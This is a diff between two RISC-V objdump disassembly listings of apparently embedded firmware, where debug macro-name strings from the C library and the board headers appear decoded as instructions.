-    377a:	0038                	addi	a4,sp,8
-    377c:	6466                	flw	fs0,88(sp)
-    377e:	735f 7465 5f20      	0x5f207465735f
-    3784:	7974                	flw	fa3,116(a0)
-    3786:	6570                	flw	fa2,76(a0)
-    3788:	64665f73          	csrrwi	t5,0x646,12
-    378c:	735f 7465 5f00      	0x5f007465735f
-    3792:	4552                	lw	a0,20(sp)
-    3794:	4e45                	li	t3,17
-    3796:	5f54                	lw	a3,60(a4)
-    3798:	4152                	lw	sp,20(sp)
-    379a:	444e                	lw	s0,208(sp)
-    379c:	3834                	fld	fa3,112(s0)
-    379e:	535f 4545 2844      	0x28444545535f
-    37a4:	7470                	flw	fa2,108(s0)
-    37a6:	2972                	fld	fs2,280(sp)
-    37a8:	2820                	fld	fs0,80(s0)
-    37aa:	7028                	flw	fa0,96(s0)
-    37ac:	7274                	flw	fa3,100(a2)
-    37ae:	2d29                	jal	3dc8 <__stack_size+0x35c8>
-    37b0:	5f3e                	lw	t5,236(sp)
-    37b2:	656e                	flw	fa0,216(sp)
-    37b4:	725f2e77          	0x725f2e77
-    37b8:	6565                	lui	a0,0x19
-    37ba:	746e                	flw	fs0,248(sp)
-    37bc:	5f2e                	lw	t5,232(sp)
-    37be:	3472                	fld	fs0,312(sp)
-    37c0:	2e38                	fld	fa4,88(a2)
-    37c2:	735f 6565 2964      	0x29646565735f
-    37c8:	4900                	lw	s0,16(a0)
-    37ca:	544e                	lw	s0,240(sp)
-    37cc:	465f 5341 3654      	0x36545341465f
-    37d2:	5f34                	lw	a3,120(a4)
-    37d4:	494d                	li	s2,19
-    37d6:	004e                	c.slli	zero,0x13
-    37d8:	6968                	flw	fa0,84(a0)
-    37da:	726f7473          	csrrci	s0,0x726,30
-    37de:	0079                	c.nop	30
-    37e0:	5f5f 4e47 4355      	0x43554e475f5f
-    37e6:	494c                	lw	a1,20(a0)
-    37e8:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
-    37ec:	4955                	li	s2,21
-    37ee:	544c                	lw	a1,44(s0)
-    37f0:	4e49                	li	t3,18
-    37f2:	4d5f 4d45 5043      	0x50434d454d5f
-    37f8:	2059                	jal	387e <__stack_size+0x307e>
-    37fa:	0031                	c.nop	12
-    37fc:	5f5f 695f 746e      	0x746e695f5f5f
-    3802:	735f 7a69 5f65      	0x5f657a69735f
-    3808:	5f74                	lw	a3,124(a4)
-    380a:	2068                	fld	fa0,192(s0)
-    380c:	5f00                	lw	s0,56(a4)
-    380e:	735f 6d79 645f      	0x645f6d79735f
-    3814:	6665                	lui	a2,0x19
-    3816:	7561                	lui	a0,0xffff8
-    3818:	746c                	flw	fa1,108(s0)
-    381a:	7328                	flw	fa0,96(a4)
-    381c:	6d79                	lui	s10,0x1e
-    381e:	692c                	flw	fa1,80(a0)
-    3820:	706d                	c.lui	zero,0xffffb
-    3822:	2c6c                	fld	fa1,216(s0)
-    3824:	6576                	flw	fa0,92(sp)
-    3826:	6972                	flw	fs2,28(sp)
-    3828:	2964                	fld	fs1,208(a0)
-    382a:	5f20                	lw	s0,120(a4)
-    382c:	615f 6d73 5f5f      	0x5f5f6d73615f
-    3832:	2228                	fld	fa0,64(a2)
-    3834:	732e                	flw	ft6,232(sp)
-    3836:	6d79                	lui	s10,0x1e
-    3838:	6576                	flw	fa0,92(sp)
-    383a:	2072                	fld	ft0,280(sp)
-    383c:	2022                	fld	ft0,8(sp)
-    383e:	706d6923          	0x706d6923
-    3842:	206c                	fld	fa1,192(s0)
-    3844:	2c22                	fld	fs8,8(sp)
-    3846:	2220                	fld	fs0,64(a2)
-    3848:	2320                	fld	fs0,64(a4)
-    384a:	206d7973          	csrrci	s2,0x206,26
-    384e:	4022                	0x4022
-    3850:	2240                	fld	fs0,128(a2)
-    3852:	2320                	fld	fs0,64(a4)
-    3854:	6576                	flw	fa0,92(sp)
-    3856:	6972                	flw	fs2,28(sp)
-    3858:	2964                	fld	fs1,208(a0)
-    385a:	5f00                	lw	s0,56(a4)
-    385c:	4e49                	li	t3,18
-    385e:	505f 524f 5f54      	0x5f54524f505f
+    3724:	4145                	li	sp,17
+    3726:	2044                	fld	fs1,128(s0)
+    3728:	465f 4552 4441      	0x44414552465f
+    372e:	5f00                	lw	s0,56(a4)
+    3730:	4c5f4353          	0x4c5f4353
+    3734:	5645                	li	a2,-15
+    3736:	4c45                	li	s8,17
+    3738:	5f31                	li	t5,-20
+    373a:	4344                	lw	s1,4(a4)
+    373c:	4341                	li	t1,16
+    373e:	4548                	lw	a0,12(a0)
+    3740:	415f 5353 434f      	0x434f5353415f
+    3746:	3120                	fld	fs0,96(a0)
+    3748:	3932                	fld	fs2,296(sp)
+    374a:	5f00                	lw	s0,56(a4)
+    374c:	475f 554e 4c43      	0x4c43554e475f
+    3752:	4b49                	li	s6,18
+    3754:	5f45                	li	t5,-15
+    3756:	5542                	lw	a0,48(sp)
+    3758:	4c49                	li	s8,18
+    375a:	4954                	lw	a3,20(a0)
+    375c:	5f4e                	lw	t5,240(sp)
+    375e:	454e                	lw	a0,208(sp)
+    3760:	5458                	lw	a4,44(s0)
+    3762:	415f 4752 3120      	0x31204752415f
+    3768:	5f00                	lw	s0,56(a4)
+    376a:	4955                	li	s2,21
+    376c:	544e                	lw	s0,240(sp)
+    376e:	3436                	fld	fs0,360(sp)
+    3770:	545f 445f 4345      	0x4345445f545f
+    3776:	414c                	lw	a1,4(a0)
+    3778:	4552                	lw	a0,20(sp)
+    377a:	2044                	fld	fs1,128(s0)
+    377c:	5f00                	lw	s0,56(a4)
+    377e:	725f 7369 7663      	0x76637369725f
+    3784:	615f 6f74 696d      	0x696d6f74615f
+    378a:	00312063          	0x312063
+    378e:	505f 5f43 494c      	0x494c5f43505f
+    3794:	4b4e                	lw	s6,208(sp)
+    3796:	4d5f 5841 3020      	0x302058414d5f
+    379c:	6900                	flw	fs0,16(a0)
+    379e:	706e                	flw	ft0,248(sp)
+    37a0:	7475                	lui	s0,0xffffd
+    37a2:	696c                	flw	fa1,84(a0)
+    37a4:	656e                	flw	fa0,216(sp)
+    37a6:	5f00                	lw	s0,56(a4)
+    37a8:	465f 544c 3233      	0x3233544c465f
+    37ae:	5f58                	lw	a4,60(a4)
+    37b0:	4544                	lw	s1,12(a0)
+    37b2:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    37b6:	5f4c                	lw	a1,60(a4)
+    37b8:	4944                	lw	s1,20(a0)
+    37ba:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    37be:	3731                	jal	36ca <__stack_size+0x2eca>
+    37c0:	5f00                	lw	s0,56(a4)
+    37c2:	4c42                	lw	s8,16(sp)
+    37c4:	544e434b          	0x544e434b
+    37c8:	545f 445f 4345      	0x4345445f545f
+    37ce:	414c                	lw	a1,4(a0)
+    37d0:	4552                	lw	a0,20(sp)
+    37d2:	2044                	fld	fs1,128(s0)
+    37d4:	5f00                	lw	s0,56(a4)
+    37d6:	475f 4343 415f      	0x415f4343475f
+    37dc:	4f54                	lw	a3,28(a4)
+    37de:	494d                	li	s2,19
+    37e0:	48435f43          	fmadd.s	ft10,ft6,ft4,fs1,unknown
+    37e4:	5241                	li	tp,-16
+    37e6:	545f3233          	0x545f3233
+    37ea:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    37f0:	5246                	lw	tp,112(sp)
+    37f2:	4545                	li	a0,17
+    37f4:	3220                	fld	fs0,96(a2)
+    37f6:	5000                	lw	s0,32(s0)
+    37f8:	435f4d57          	0x435f4d57
+    37fc:	4746                	lw	a4,80(sp)
+    37fe:	435f 504d 4731      	0x4731504d435f
+    3804:	4e41                	li	t3,16
+    3806:	78302047          	fmsub.s	ft0,ft0,ft3,fa5,rdn
+    380a:	3230                	fld	fa2,96(a2)
+    380c:	3030                	fld	fa2,96(s0)
+    380e:	3030                	fld	fa2,96(s0)
+    3810:	3030                	fld	fa2,96(s0)
+    3812:	5f00                	lw	s0,56(a4)
+    3814:	495f 544e 3631      	0x3631544e495f
+    381a:	545f 5059 5f45      	0x5f455059545f
+    3820:	205f 6873 726f      	0x726f6873205f
+    3826:	2074                	fld	fa3,192(s0)
+    3828:	6e69                	lui	t3,0x1a
+    382a:	0074                	addi	a3,sp,12
+    382c:	5f5f 4c46 3154      	0x31544c465f5f
+    3832:	3832                	fld	fa6,296(sp)
+    3834:	445f 4749 5f5f      	0x5f5f4749445f
+    383a:	3320                	fld	fs0,96(a4)
+    383c:	54420033          	0x54420033
+    3840:	324e                	fld	ft4,240(sp)
+    3842:	495f 5152 3120      	0x31205152495f
+    3848:	0038                	addi	a4,sp,8
+    384a:	6466                	flw	fs0,88(sp)
+    384c:	735f 7465 5f20      	0x5f207465735f
+    3852:	7974                	flw	fa3,116(a0)
+    3854:	6570                	flw	fa2,76(a0)
+    3856:	64665f73          	csrrwi	t5,0x646,12
+    385a:	735f 7465 5f00      	0x5f007465735f
+    3860:	4552                	lw	a0,20(sp)
+    3862:	4e45                	li	t3,17
     3864:	5f54                	lw	a3,60(a4)
-    3866:	4544                	lw	s1,12(a0)
-    3868:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    386c:	4445                	li	s0,17
-    386e:	0020                	addi	s0,sp,8
-    3870:	535f 5359 545f      	0x545f5359535f
-    3876:	4d49                	li	s10,18
-    3878:	5345                	li	t1,-15
-    387a:	4550                	lw	a2,12(a0)
-    387c:	5f485f43          	fmadd.q	ft10,fa6,fs4,fa1,unknown
-    3880:	0020                	addi	s0,sp,8
-    3882:	5f5f 4347 5f43      	0x5f4343475f5f
-    3888:	5441                	li	s0,-16
-    388a:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    388e:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    3894:	4f4c                	lw	a1,28(a4)
-    3896:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    389a:	4552                	lw	a0,20(sp)
-    389c:	2045                	jal	393c <__stack_size+0x313c>
-    389e:	0032                	c.slli	zero,0xc
-    38a0:	475f 4343 535f      	0x535f4343475f
-    38a6:	4454                	lw	a3,12(s0)
-    38a8:	4e49                	li	t3,18
-    38aa:	5f54                	lw	a3,60(a4)
-    38ac:	2048                	fld	fa0,128(s0)
-    38ae:	7a00                	flw	fs0,48(a2)
-    38b0:	33656e6f          	jal	t3,59be6 <__stack_size+0x593e6>
-    38b4:	7a00                	flw	fs0,48(a2)
-    38b6:	34656e6f          	jal	t3,59bfc <__stack_size+0x593fc>
-    38ba:	4300                	lw	s0,0(a4)
-    38bc:	4d5f5253          	0x4d5f5253
-    38c0:	4e49                	li	t3,18
-    38c2:	45525453          	0x45525453
-    38c6:	2054                	fld	fa3,128(s0)
-    38c8:	3431                	jal	32d4 <__stack_size+0x2ad4>
-    38ca:	5f00                	lw	s0,56(a4)
-    38cc:	585f4353          	0x585f4353
-    38d0:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    38d4:	455f 484e 495f      	0x495f484e455f
-    38da:	3831                	jal	30f6 <__stack_size+0x28f6>
-    38dc:	204e                	fld	ft0,208(sp)
-    38de:	3739                	jal	37ec <__stack_size+0x2fec>
-    38e0:	5000                	lw	s0,32(s0)
-    38e2:	435f4d57          	0x435f4d57
-    38e6:	504d                	c.li	zero,-13
-    38e8:	2030                	fld	fa2,64(s0)
-    38ea:	7830                	flw	fa2,112(s0)
-    38ec:	3032                	fld	ft0,296(sp)
-    38ee:	5f00                	lw	s0,56(a4)
-    38f0:	5f535953          	0x5f535953
-    38f4:	4c5f 434f 4c41      	0x4c41434f4c5f
-    38fa:	5f45                	li	t5,-15
-    38fc:	2048                	fld	fa0,128(s0)
-    38fe:	5f00                	lw	s0,56(a4)
-    3900:	5f59454b          	fnmsub.q	fa0,fs2,fs5,fa1,rmm
-    3904:	5f54                	lw	a3,60(a4)
-    3906:	4544                	lw	s1,12(a0)
-    3908:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    390c:	4445                	li	s0,17
-    390e:	0020                	addi	s0,sp,8
-    3910:	535f 5f43 4941      	0x49415f43535f
-    3916:	494c5f4f          	fnmadd.s	ft10,fs8,fs4,fs1,unknown
-    391a:	4f495453          	0x4f495453
-    391e:	4d5f 5841 3320      	0x332058414d5f
-    3924:	0034                	addi	a3,sp,8
-    3926:	535f 5f43 5f32      	0x5f325f43535f
-    392c:	445f5753          	0x445f5753
-    3930:	5645                	li	a2,-15
-    3932:	3120                	fld	fs0,96(a0)
-    3934:	3931                	jal	3550 <__stack_size+0x2d50>
-    3936:	5f00                	lw	s0,56(a4)
-    3938:	4c5f4353          	0x4c5f4353
-    393c:	5645                	li	a2,-15
-    393e:	4c45                	li	s8,17
-    3940:	5f31                	li	t5,-20
-    3942:	4344                	lw	s1,4(a4)
-    3944:	4341                	li	t1,16
-    3946:	4548                	lw	a0,12(a0)
-    3948:	4c5f 4e49 5345      	0x53454e494c5f
-    394e:	5a49                	li	s4,-14
-    3950:	2045                	jal	39f0 <__stack_size+0x31f0>
-    3952:	3331                	jal	365e <__stack_size+0x2e5e>
-    3954:	0030                	addi	a2,sp,8
-    3956:	4f4e5f4f          	fnmadd.q	ft10,ft8,fs4,fs1,unknown
-    395a:	4f46                	lw	t5,80(sp)
-    395c:	4c4c                	lw	a1,28(s0)
-    395e:	5f20574f          	fnmadd.q	fa4,ft0,fs2,fa1,unknown
-    3962:	4e46                	lw	t3,80(sp)
-    3964:	4c4f464f          	0x4c4f464f
-    3968:	4f4c                	lw	a1,28(a4)
-    396a:	5f5f0057          	0x5f5f0057
-    396e:	706d6f63          	bltu	s10,t1,408c <__stack_size+0x388c>
-    3972:	6c69                	lui	s8,0x1a
-    3974:	7265                	lui	tp,0xffff9
-    3976:	6d5f 6d65 6162      	0x61626d656d5f
-    397c:	2872                	fld	fa6,280(sp)
-    397e:	2029                	jal	3988 <__stack_size+0x3188>
-    3980:	5f5f 7361 206d      	0x206d73615f5f
-    3986:	5f5f 6f76 616c      	0x616c6f765f5f
-    398c:	6974                	flw	fa3,84(a0)
-    398e:	656c                	flw	fa1,76(a0)
-    3990:	2228                	fld	fa0,64(a2)
-    3992:	2220                	fld	fs0,64(a2)
-    3994:	3a20                	fld	fs0,112(a2)
-    3996:	3a20                	fld	fs0,112(a2)
-    3998:	3a20                	fld	fs0,112(a2)
-    399a:	2220                	fld	fs0,64(a2)
-    399c:	656d                	lui	a0,0x1b
-    399e:	6f6d                	lui	t5,0x1b
-    39a0:	7972                	flw	fs2,60(sp)
-    39a2:	2922                	fld	fs2,8(sp)
-    39a4:	5f00                	lw	s0,56(a4)
-    39a6:	494c                	lw	a1,20(a0)
-    39a8:	4342                	lw	t1,16(sp)
-    39aa:	4c5f 4d49 5449      	0x54494d494c5f
-    39b0:	5f485f53          	0x5f485f53
-    39b4:	3120                	fld	fs0,96(a0)
-    39b6:	5f00                	lw	s0,56(a4)
-    39b8:	505f4353          	0x505f4353
-    39bc:	4741                	li	a4,16
-    39be:	5345                	li	t1,-15
-    39c0:	5a49                	li	s4,-14
-    39c2:	2045                	jal	3a62 <__stack_size+0x3262>
-    39c4:	0038                	addi	a4,sp,8
-    39c6:	5f5f 5653 4449      	0x444956535f5f
-    39cc:	565f 5349 4249      	0x42495349565f
-    39d2:	454c                	lw	a1,12(a0)
-    39d4:	3120                	fld	fs0,96(a0)
-    39d6:	5f00                	lw	s0,56(a4)
-    39d8:	4649                	li	a2,18
-    39da:	4c42                	lw	s8,16(sp)
-    39dc:	3030204b          	fnmsub.s	ft0,ft0,ft3,ft6,rdn
-    39e0:	3036                	fld	ft0,360(sp)
-    39e2:	3030                	fld	fa2,96(s0)
-    39e4:	0030                	addi	a2,sp,8
-    39e6:	6d70                	flw	fa2,92(a0)
-    39e8:	6170                	flw	fa2,68(a0)
-    39ea:	6464                	flw	fs1,76(s0)
-    39ec:	0072                	c.slli	zero,0x1c
-    39ee:	535f 5359 465f      	0x465f5359535f
-    39f4:	4c544e43          	0x4c544e43
-    39f8:	485f 205f 5f00      	0x5f00205f485f
-    39fe:	545f4353          	0x545f4353
-    3a02:	5248                	lw	a0,36(a2)
-    3a04:	4145                	li	sp,17
-    3a06:	5f44                	lw	s1,60(a4)
-    3a08:	5441                	li	s0,-16
-    3a0a:	5254                	lw	a3,36(a2)
-    3a0c:	535f 4154 4b43      	0x4b434154535f
-    3a12:	455a4953          	0x455a4953
-    3a16:	3420                	fld	fs0,104(s0)
-    3a18:	0034                	addi	a3,sp,8
-    3a1a:	5f5f 746e 686f      	0x686f746e5f5f
-    3a20:	286c                	fld	fa1,208(s0)
-    3a22:	785f 2029 5f5f      	0x5f5f2029785f
-    3a28:	7362                	flw	ft6,56(sp)
-    3a2a:	33706177          	0x33706177
-    3a2e:	2832                	fld	fa6,264(sp)
-    3a30:	785f 0029 535f      	0x535f0029785f
-    3a36:	54545f43          	0x54545f43
-    3a3a:	5f59                	li	t5,-10
-    3a3c:	414e                	lw	sp,208(sp)
-    3a3e:	454d                	li	a0,19
-    3a40:	4d5f 5841 3420      	0x342058414d5f
-    3a46:	0031                	c.nop	12
-    3a48:	535f 5359 545f      	0x545f5359535f
-    3a4e:	5059                	c.li	zero,-10
-    3a50:	5345                	li	t1,-15
-    3a52:	485f 0020 4146      	0x41460020485f
-    3a58:	5050                	lw	a2,36(s0)
-    3a5a:	4e45                	li	t3,17
-    3a5c:	2044                	fld	fs1,128(s0)
-    3a5e:	465f 5041 4550      	0x45505041465f
-    3a64:	444e                	lw	s0,208(sp)
-    3a66:	5f00                	lw	s0,56(a4)
-    3a68:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    3a6c:	41484357          	0x41484357
-    3a70:	5f52                	lw	t5,52(sp)
-    3a72:	2054                	fld	fa3,128(s0)
-    3a74:	5f00                	lw	s0,56(a4)
-    3a76:	41484357          	0x41484357
-    3a7a:	5f52                	lw	t5,52(sp)
-    3a7c:	5f54                	lw	a3,60(a4)
-    3a7e:	4544                	lw	s1,12(a0)
-    3a80:	4946                	lw	s2,80(sp)
-    3a82:	454e                	lw	a0,208(sp)
-    3a84:	5f44                	lw	s1,60(a4)
-    3a86:	0020                	addi	s0,sp,8
-    3a88:	5f5f 4f4c 4b43      	0x4b434f4c5f5f
-    3a8e:	495f 494e 2854      	0x2854494e495f
-    3a94:	73616c63          	bltu	sp,s6,41cc <__stack_size+0x39cc>
-    3a98:	6f6c2c73          	csrrs	s8,0x6f6,s8
-    3a9c:	20296b63          	bltu	s2,sp,3cb2 <__stack_size+0x34b2>
-    3aa0:	74617473          	csrrci	s0,0x746,2
-    3aa4:	6369                	lui	t1,0x1a
-    3aa6:	6920                	flw	fs0,80(a0)
-    3aa8:	746e                	flw	fs0,248(sp)
-    3aaa:	6c20                	flw	fs0,88(s0)
-    3aac:	206b636f          	jal	t1,b9cb2 <__stack_size+0xb94b2>
-    3ab0:	203d                	jal	3ade <__stack_size+0x32de>
-    3ab2:	3b30                	fld	fa2,112(a4)
-    3ab4:	4700                	lw	s0,8(a4)
-    3ab6:	4950                	lw	a2,20(a0)
-    3ab8:	41465f4f          	fnmadd.s	ft10,fa2,fs4,fs0,unknown
-    3abc:	4c4c                	lw	a1,28(s0)
-    3abe:	495f 2045 7830      	0x78302045495f
-    3ac4:	3032                	fld	ft0,296(sp)
-    3ac6:	5f00                	lw	s0,56(a4)
-    3ac8:	495f 544e 465f      	0x465f544e495f
-    3ace:	5341                	li	t1,-16
-    3ad0:	3654                	fld	fa3,168(a2)
-    3ad2:	5f34                	lw	a3,120(a4)
-    3ad4:	54444957          	0x54444957
-    3ad8:	5f48                	lw	a0,60(a4)
-    3ada:	205f 3436 5500      	0x55003436205f
-    3ae0:	4f4c                	lw	a1,28(a4)
-    3ae2:	474e                	lw	a4,208(sp)
-    3ae4:	4d5f 5841 5f00      	0x5f0058414d5f
-    3aea:	6e5f 6565 5f64      	0x5f6465656e5f
-    3af0:	657a6973          	csrrsi	s2,0x657,20
-    3af4:	745f 0020 4955      	0x49550020745f
-    3afa:	544e                	lw	s0,240(sp)
-    3afc:	435f3233          	0x435f3233
-    3b00:	5f00                	lw	s0,56(a4)
-    3b02:	5f535953          	0x5f535953
-    3b06:	545f 4d49 5345      	0x53454d49545f
-    3b0c:	4550                	lw	a2,12(a0)
-    3b0e:	5f485f43          	fmadd.q	ft10,fa6,fs4,fa1,unknown
-    3b12:	0020                	addi	s0,sp,8
-    3b14:	535f 5f43 4854      	0x48545f43535f
-    3b1a:	4552                	lw	a0,20(sp)
-    3b1c:	4441                	li	s0,16
-    3b1e:	535f 4154 4b43      	0x4b434154535f
-    3b24:	4d5f 4e49 3320      	0x33204e494d5f
-    3b2a:	0039                	c.nop	14
-    3b2c:	5f5f 4843 5241      	0x524148435f5f
-    3b32:	555f 534e 4749      	0x4749534e555f
-    3b38:	454e                	lw	a0,208(sp)
-    3b3a:	5f44                	lw	s1,60(a4)
-    3b3c:	205f 0031 5750      	0x57500031205f
-    3b42:	5f4d                	li	t5,-13
-    3b44:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    3b48:	30504d43          	fmadd.s	fs10,ft0,ft5,ft6,rmm
-    3b4c:	474e4147          	fmsub.q	ft2,ft8,fs4,fs0,rmm
-    3b50:	3020                	fld	fs0,96(s0)
-    3b52:	3078                	fld	fa4,224(s0)
-    3b54:	3031                	jal	3360 <__stack_size+0x2b60>
-    3b56:	3030                	fld	fa2,96(s0)
-    3b58:	3030                	fld	fa2,96(s0)
-    3b5a:	0030                	addi	a2,sp,8
-    3b5c:	5f5f 444c 4c42      	0x4c42444c5f5f
-    3b62:	4d5f 4e49 455f      	0x455f4e494d5f
-    3b68:	5058                	lw	a4,36(s0)
-    3b6a:	5f5f 2820 312d      	0x312d28205f5f
-    3b70:	3336                	fld	ft6,360(sp)
-    3b72:	3138                	fld	fa4,96(a0)
-    3b74:	0029                	c.nop	10
-    3b76:	57495f53          	0x57495f53
-    3b7a:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
-    3b7e:	3030                	fld	fa2,96(s0)
-    3b80:	3030                	fld	fa2,96(s0)
-    3b82:	3230                	fld	fa2,96(a2)
-    3b84:	0030                	addi	a2,sp,8
-    3b86:	425f 4453 575f      	0x575f4453425f
-    3b8c:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    3b90:	545f 005f 5f5f      	0x5f5f005f545f
-    3b96:	41484353          	0x41484353
-    3b9a:	5f52                	lw	t5,52(sp)
-    3b9c:	414d                	li	sp,19
-    3b9e:	5f58                	lw	a4,60(a4)
-    3ba0:	205f 7830 6637      	0x66377830205f
-    3ba6:	5f00                	lw	s0,56(a4)
-    3ba8:	475f 4343 485f      	0x485f4343475f
-    3bae:	5641                	li	a2,-16
-    3bb0:	5f45                	li	t5,-15
-    3bb2:	5744                	lw	s1,44(a4)
-    3bb4:	5241                	li	tp,-16
-    3bb6:	3246                	fld	ft4,112(sp)
-    3bb8:	435f 4946 415f      	0x415f4946435f
-    3bbe:	31204d53          	0x31204d53
-    3bc2:	4900                	lw	s0,16(a0)
-    3bc4:	544e                	lw	s0,240(sp)
-    3bc6:	3631                	jal	36d2 <__stack_size+0x2ed2>
-    3bc8:	4d5f 5841 5f20      	0x5f2058414d5f
-    3bce:	495f 544e 3631      	0x3631544e495f
-    3bd4:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3bda:	4300                	lw	s0,0(a4)
-    3bdc:	4148                	lw	a0,4(a0)
-    3bde:	5f52                	lw	t5,52(sp)
-    3be0:	414d                	li	sp,19
-    3be2:	2058                	fld	fa4,128(s0)
-    3be4:	4355                	li	t1,21
-    3be6:	4148                	lw	a0,4(a0)
-    3be8:	5f52                	lw	t5,52(sp)
-    3bea:	414d                	li	sp,19
-    3bec:	0058                	addi	a4,sp,4
-    3bee:	5f5f 4e53 5450      	0x54504e535f5f
-    3bf4:	3020                	fld	fs0,96(s0)
-    3bf6:	3078                	fld	fa4,224(s0)
-    3bf8:	3038                	fld	fa4,96(s0)
-    3bfa:	0030                	addi	a2,sp,8
-    3bfc:	4b4f5f57          	0x4b4f5f57
-    3c00:	3220                	fld	fs0,96(a2)
-    3c02:	5f00                	lw	s0,56(a4)
-    3c04:	6e5f 6565 5f64      	0x5f6465656e5f
-    3c0a:	657a6973          	csrrsi	s2,0x657,20
-    3c0e:	745f 4200 4e54      	0x4e544200745f
-    3c14:	2030                	fld	fa2,64(s0)
-    3c16:	3531                	jal	3a22 <__stack_size+0x3222>
-    3c18:	4c00                	lw	s0,24(s0)
-    3c1a:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    3c1e:	4e55                	li	t3,21
-    3c20:	3020                	fld	fs0,96(s0)
-    3c22:	3078                	fld	fa4,224(s0)
-    3c24:	0038                	addi	a4,sp,8
-    3c26:	6c70                	flw	fa2,92(s0)
-    3c28:	6369                	lui	t1,0x1a
-    3c2a:	695f 746e 5500      	0x5500746e695f
-    3c30:	4e49                	li	t3,18
-    3c32:	5f54                	lw	a3,60(a4)
-    3c34:	4146                	lw	sp,80(sp)
-    3c36:	32335453          	0x32335453
-    3c3a:	4d5f 5841 5f20      	0x5f2058414d5f
-    3c40:	555f 4e49 5f54      	0x5f544e49555f
-    3c46:	4146                	lw	sp,80(sp)
-    3c48:	32335453          	0x32335453
-    3c4c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3c52:	4600                	lw	s0,8(a2)
-    3c54:	4f4e                	lw	t5,208(sp)
-    3c56:	59545443          	fmadd.s	fs0,fs0,fs5,fa1,unknown
-    3c5a:	5f20                	lw	s0,120(a4)
-    3c5c:	4e46                	lw	t3,80(sp)
-    3c5e:	5454434f          	0x5454434f
-    3c62:	0059                	c.nop	22
-    3c64:	4e49                	li	t3,18
-    3c66:	5f54                	lw	a3,60(a4)
-    3c68:	414d                	li	sp,19
-    3c6a:	2058                	fld	fa4,128(s0)
-    3c6c:	5f5f 4e49 5f54      	0x5f544e495f5f
-    3c72:	414d                	li	sp,19
-    3c74:	5f58                	lw	a4,60(a4)
-    3c76:	005f 5f5f 4e49      	0x4e495f5f005f
-    3c7c:	5f54                	lw	a3,60(a4)
-    3c7e:	4146                	lw	sp,80(sp)
-    3c80:	5f385453          	0x5f385453
-    3c84:	54444957          	0x54444957
-    3c88:	5f48                	lw	a0,60(a4)
-    3c8a:	205f 3233 5f00      	0x5f003233205f
-    3c90:	635f 6e6f 6174      	0x61746e6f635f
-    3c96:	6e69                	lui	t3,0x1a
-    3c98:	7265                	lui	tp,0xffff9
-    3c9a:	7828666f          	jal	a2,8a41c <__stack_size+0x89c1c>
-    3c9e:	732c                	flw	fa1,96(a4)
-    3ca0:	6d2c                	flw	fa1,88(a0)
-    3ca2:	2029                	jal	3cac <__stack_size+0x34ac>
-    3ca4:	7b28                	flw	fa0,112(a4)
-    3ca6:	6320                	flw	fs0,64(a4)
-    3ca8:	74736e6f          	jal	t3,3abee <__stack_size+0x3a3ee>
-    3cac:	7620                	flw	fs0,104(a2)
-    3cae:	74616c6f          	jal	s8,1a3f4 <__stack_size+0x19bf4>
-    3cb2:	6c69                	lui	s8,0x1a
-    3cb4:	2065                	jal	3d5c <__stack_size+0x355c>
-    3cb6:	5f5f 7974 6570      	0x657079745f5f
-    3cbc:	2828666f          	jal	a2,89f3e <__stack_size+0x8973e>
-    3cc0:	7328                	flw	fa0,96(a4)
-    3cc2:	2a20                	fld	fs0,80(a2)
-    3cc4:	3029                	jal	34ce <__stack_size+0x2cce>
-    3cc6:	2d29                	jal	42e0 <__stack_size+0x3ae0>
-    3cc8:	6d3e                	flw	fs10,204(sp)
-    3cca:	2029                	jal	3cd4 <__stack_size+0x34d4>
-    3ccc:	5f2a                	lw	t5,168(sp)
-    3cce:	785f 3d20 2820      	0x28203d20785f
-    3cd4:	2978                	fld	fa4,208(a0)
-    3cd6:	5f5f203b          	0x5f5f203b
-    3cda:	4544                	lw	s1,12(a0)
-    3cdc:	5551                	li	a0,-12
-    3cde:	4c41                	li	s8,16
-    3ce0:	4649                	li	a2,18
-    3ce2:	2859                	jal	3d78 <__stack_size+0x3578>
-    3ce4:	2c2a2073          	csrs	0x2c2,s4
-    3ce8:	2820                	fld	fs0,80(s0)
-    3cea:	736e6f63          	bltu	t3,s6,4428 <__stack_size+0x3c28>
-    3cee:	2074                	fld	fa3,192(s0)
-    3cf0:	6f76                	flw	ft10,92(sp)
-    3cf2:	616c                	flw	fa1,68(a0)
-    3cf4:	6974                	flw	fa3,84(a0)
-    3cf6:	656c                	flw	fa1,76(a0)
-    3cf8:	6320                	flw	fs0,64(a4)
-    3cfa:	6168                	flw	fa0,68(a0)
-    3cfc:	2072                	fld	ft0,280(sp)
-    3cfe:	292a                	fld	fs2,136(sp)
-    3d00:	5f5f 2078 202d      	0x202d20785f5f
-    3d06:	5f5f 666f 7366      	0x7366666f5f5f
-    3d0c:	7465                	lui	s0,0xffff9
-    3d0e:	7328666f          	jal	a2,8a440 <__stack_size+0x89c40>
-    3d12:	202c                	fld	fa1,64(s0)
-    3d14:	296d                	jal	41ce <__stack_size+0x39ce>
-    3d16:	3b29                	jal	3a30 <__stack_size+0x3230>
-    3d18:	297d                	jal	41d6 <__stack_size+0x39d6>
-    3d1a:	4900                	lw	s0,16(a0)
-    3d1c:	544e                	lw	s0,240(sp)
-    3d1e:	4c5f 4145 5453      	0x545341454c5f
-    3d24:	4d5f3233          	0x4d5f3233
-    3d28:	5841                	li	a6,-16
-    3d2a:	5f20                	lw	s0,120(a4)
-    3d2c:	495f 544e 4c5f      	0x4c5f544e495f
-    3d32:	4145                	li	sp,17
-    3d34:	32335453          	0x32335453
-    3d38:	4d5f 5841 5f5f      	0x5f5f58414d5f
